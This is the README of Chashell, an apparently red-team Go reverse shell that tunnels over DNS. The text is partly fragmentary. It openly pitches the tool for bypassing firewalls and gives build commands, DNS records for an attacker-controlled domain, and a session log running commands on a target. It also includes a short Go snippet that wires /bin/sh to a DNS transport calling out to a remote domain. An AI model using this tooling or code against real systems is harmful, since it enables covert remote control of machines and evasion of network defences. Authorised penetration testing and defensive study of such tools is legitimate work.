Reverse Shell over DNS
Chashell is a Go reverse shell that communicates over DNS. It can be used to bypass firewalls or tightly restricted networks.
It comes with a multi-client control server, named
We plan to implement asymmetric cryptography in the future.
Chashell communicates using Protocol Buffers serialized messages. For reference, the Protocol Buffers structure (
.proto file) is available in the
Here is a (simplified) communication chart :
Keep in mind that every packet is encrypted, hex-encoded and then packed for DNS transportation.
Chashell should work with any desktop system (Windows, Linux, Darwin, BSD variants) that is supported by the Go compiler.
We tested those systems and it works without issues :
- Windows (386/amd64)
- Linux (386/amd64/arm64)
- OS X (386/amd64)
How to use Chaserv/Chashell
Make sure the GOPATH environment variable is correctly configured before running these commands.
Build all the binaries (adjust the domain_name and the encryption_key to your needs):
$ export ENCRYPTION_KEY=$(python -c 'from os import urandom; print(urandom(32).encode("hex"))') $ export DOMAIN_NAME=c.sysdream.com $ make build-all
Build for a specific platform:
$ make build-all OSARCH="linux/arm"
Build only the server:
$ make build-server
Build only the client (chashell itself):
$ make build-client
- Buy and configure a domain name of your choice (preferably short).
- Set a DNS record like this :
chashell 300 IN A [SERVERIP] c 300 IN NS chashell.[DOMAIN].
Basically, on the server side (attacker's computer), you must use the
chaserv binary. For the client side (i.e the target), use the
chaservon the control server.
chashellon the target computer.
The client should now connect back to
[n.chatelain]$ sudo ./chaserv chashell >>> New session : 5c54404419e59881dfa3a757 chashell >>> sessions 5c54404419e59881dfa3a757 Interacting with session 5c54404419e59881dfa3a757. whoami n.chatelain ls / bin boot dev [...] usr var
sessions [sessionid] command to interact with a client.
When interacting with a session, you can use the
background command in order to return to the
exit command to close
Implement your own
chashell/lib/transport library is compatible with the
io.Writer interface. So, implementing a reverse shell is as easy as :
cmd := exec.Command("/bin/sh") dnsTransport := transport.DNSStream(targetDomain, encryptionKey) cmd.Stdout = dnsTransport cmd.Stderr = dnsTransport cmd.Stdin = dnsTransport cmd.Run()
For more verbose messages, add
TAGS=debug at the end of the make command.
- Implement asymmetric cryptography (Curve25519, XSalsa20 and Poly1305)
- Retrieve the host name using the
- Create a proxy/relay tool in order to tunnel TCP/UDP streams (Meterpreter over DNS !).
- Better error handling.
- Get rid of dependencies.
- Nicolas Chatelain <n.chatelain -at- sysdream.com>